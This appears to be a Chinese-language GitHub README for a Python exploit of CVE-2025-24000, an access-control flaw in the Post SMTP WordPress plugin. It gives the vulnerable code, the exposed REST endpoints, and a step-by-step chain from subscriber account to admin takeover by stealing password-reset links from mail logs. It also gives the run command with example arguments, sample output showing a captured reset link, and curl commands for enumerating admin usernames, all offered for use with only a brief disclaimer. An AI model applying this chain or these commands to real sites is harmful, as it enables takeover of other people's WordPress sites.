bsdrip/CVE-2025-24000-exploit

GitHub: bsdrip/CVE-2025-24000-exploit

一款利用 CVE-2025-24000 权限提升漏洞的 Python 攻击脚本,聚焦 Post SMTP 插件的安全评估与复现。

Stars: 0 | Forks: 0

# CVE-2025-24000 — Post SMTP 权限提升漏洞利用 ## 概述 此脚本利用 **CVE-2025-24000**,这是一个在 **Post SMTP WordPress 插件**(版本 ≤ 3.2.0)中存在的高严重性访问控制漏洞。它允许任何低权限认证用户(例如订阅者)访问插件的 REST API 日志,偷取管理员密码重置链接,并接管管理员账户。 - **CVE:** CVE-2025-24000 - **插件:** Post SMTP (WPExperts) - **受影响版本:** ≤ 3.2.0 - **修复版本:** 3.3.0 - **CVSS 评分:** 8.8(高危) - **影响:** 权限提升 → 完全接管管理员账户 ## 工作原理 该漏洞源于插件 REST API 中错误的权限检查: ``` // Vulnerable code (≤ 3.2.0) public function get_logs_permission() { return is_user_logged_in(); } ``` 任何已登录用户,无论角色如何,都可以访问仅限管理员使用的端点: - `GET /wp-json/psd/v1/get-logs` - `GET /wp-json/psd/v1/get-details?id=&type=show_view` - `POST /wp-json/psd/v1/resend-email` ### 漏洞利用链 1. 注册或使用一个现有的低权限 WordPress 账户(订阅者) 2. 登录并获取 WP REST 随机数(nonce) 3. 触发管理员账户的密码重置 4. 通过未受保护的 REST API 读取邮件日志 5. 从日志中提取密码重置链接 6. 使用该重置链接设置新的管理员密码 7. 以管理员身份登录 `/wp-admin` ## 要求 - Python 3.x - `requests` 库(`pip install requests`) - 目标 WordPress 站点上的注册账户(订阅者权限足够) ## 用法 ``` python3 exploit_cve_2025_24000.py \ --url \ --username \ --password \ --email ``` ### 参数 | 参数 | 描述 | |---|---| | `--url` | WordPress 站点的基础 URL(例如 `http://target.local/wordpress/`) | | `--username` | 你的低权限 WordPress 用户名 | | `--password` | 你的低权限 WordPress 密码 | | `--email` | 要重置密码的管理员用户名或邮箱 | ### 示例 ``` python3 exploit_cve_2025_24000.py \ --url http://samurai.local/samurai/ \ --username attacker \ --password Password1 \ --email shogun ``` ### 预期输出 ``` [*] Logging in as attacker... [+] Logged in successfully as attacker [*] Fetching WP REST nonce from wp-admin... [+] Got nonce: a5f398e081 [*] Triggering password reset for: shogun [+] Password reset triggered. [*] Fetching email logs... [+] Got logs response. [*] Checking 1 email(s) for reset link... [+] RESET LINK FOUND: http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun [*] Visit the link above to set a new admin password and take over the site. ``` ## 提示 - 如果管理员用户名未知,可通过 WP REST API 枚举: curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool 或通过作者枚举: curl -s 'http://target.local/?author=1' -I | grep -i location - 重置链接是一次性使用的,过期前请立即使用 - 如果日志为空,请确保站点配置为通过 Post SMTP 发送邮件(而非 PHP mail) ## 参考 - **Patchstack 公告:** https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability - **GitHub 公告:** https://github.com/advisories/GHSA-2fgh-78wf-f9v9 - **复现教程:** https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274 - **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2025-24000 ## 免责声明 本工具仅供授权渗透测试和教育用途。请勿在未获得明确许可的系统上使用。
标签:BurpSuite集成, CISA项目, CVE, CVE-2025-24000, CVSS 8.8, Post SMTP, Privilege Escalation, requests, REST API, Web报告查看器, WordPress, WordPress插件, 协议分析, 威胁模拟, 安全测试, 密码重置劫持, 插件漏洞, 攻击性安全, 攻击链, 数字签名, 日志窃取, 权限提升, 漏洞分析, 漏洞披露, 管理员接管, 网络安全审计, 订阅者提权, 访问控制绕过, 路径探测, 逆向工具, 黑客技巧